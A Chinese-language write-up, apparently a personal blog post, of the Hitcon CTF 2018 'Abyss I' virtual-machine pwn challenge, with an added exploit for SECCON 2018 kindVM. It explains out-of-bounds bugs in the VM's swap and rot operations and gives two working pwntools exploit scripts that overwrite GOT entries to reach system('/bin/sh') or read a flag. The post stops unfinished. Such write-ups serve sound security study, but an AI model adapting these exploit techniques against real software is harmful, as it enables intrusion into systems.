Abyss
Hitcon CTF 2018 - Abyss I
Prelogue
一直来感觉Hitcon的题目挺好的于是通过Abyss
来学习Pwn
中的虚拟机相关知识.
Abyss
相关附件:attachment
其他附件:attachmen
本文主线为Abyss
,穿插着学习VM的记录
challenge
解压后有9个文件其中主要部分是user.elf
,hypervisor.elf
,kernel.bin
.
kernel.bin
: 一个小型内核.
hypervisor.elf
: 虚拟机监视器用来联通KVM
和user.elf
user.elf
: 一个普通的的程序.
user.elf
比较简单的第一个flag
基本的题目只要逆向完了会发现swap
还有rot
可能导致越界访问..然后就可以通过加加减减为所欲为了…我改了以下几个got域
got_printf
为main
got_strlen
为system
from pwn import *
context.log_level='debug'
context.arch='amd64'
p=process('./user.elf')
pay="{}\x5c.\x5c@@.@{}:1:{}2:3:1;4292866203+0;3;85984+2;{}3;4294900624+2;.".format(0x100000000-3,"%"*9,"%"*6,"%"*10)
#gdb.attach(p,'''
#b *0x000555555555113
#b * 0x000555555554D94
#''')
p.sendlineafter("\n",pay)
pay="/bin/sh\x00"
p.sendlineafter("\n",pay)
p.interactive('n132>')
逆向起来没什么难度,如果漏洞在虚拟机层面的一般都是内存非法访问主要关注的对象是store
,fetch
之类操作有没有越界访问但是这题问题在swap
和rot
,当栈指针在栈区域地步的时候swap
会导致越界访问.
类似漏洞的一题SECCON 2018 kindVM
我也放在文件夹中,问题出在类型错误导致越界访问,比较简单逆完了基本就可以做出来了我这里放上exp
from pwn import *
context.log_level='debug'
context.arch='amd64'
p=process('./kindvm')
p.sendlineafter(": ","n132")
pay="\x01\x00\xff\xd8\x08\x00"
#load buf-0x28 & out reg[0]===> leak heap
pay+="\x07\x01\x08\x04\x87\x7b"
#set reg[0]=0x0804877b
pay+="\x02\xff\xe4\x01"
#store buf-0x28+0xc
pay+="\x06"
p.sendlineafter(": ",pay)
#do it again
p.readuntil("out] ")
heap=int("0x"+p.readuntil("(")[:-1],16)-0x28
log.warning(hex(heap))
p.sendlineafter(": ","./flag")
#gdb.attach(p,'b *0x80487C0')
off=0x10000-(heap+0x38-0x804b028)
context.endian = 'big'
pay="\x07\x00{}".format(p32(heap+0x8a0))
#set reg[0]->reg[2]
pay+="\x02\xff\xdc\x00"
#set banner->reg[2]
pay+="\x06"
p.sendlineafter(": ",pay)
p.interactive('n132>')
#[1] load: opcode(1) reg(1) offset(2)
#[2] store: opcode(1) offset(2) reg(1)
#[3] move: opcode(1) reg(1) reg(1)
#[4] add: opcode(1) reg(1) reg(1)
#[5] sub: opcode(1) reg(1) reg(1)
#[6] halt: opcode(1)
#[7] in: opcode(1) num(4)
#[8] out: opcode(1) reg(1)
..
待续.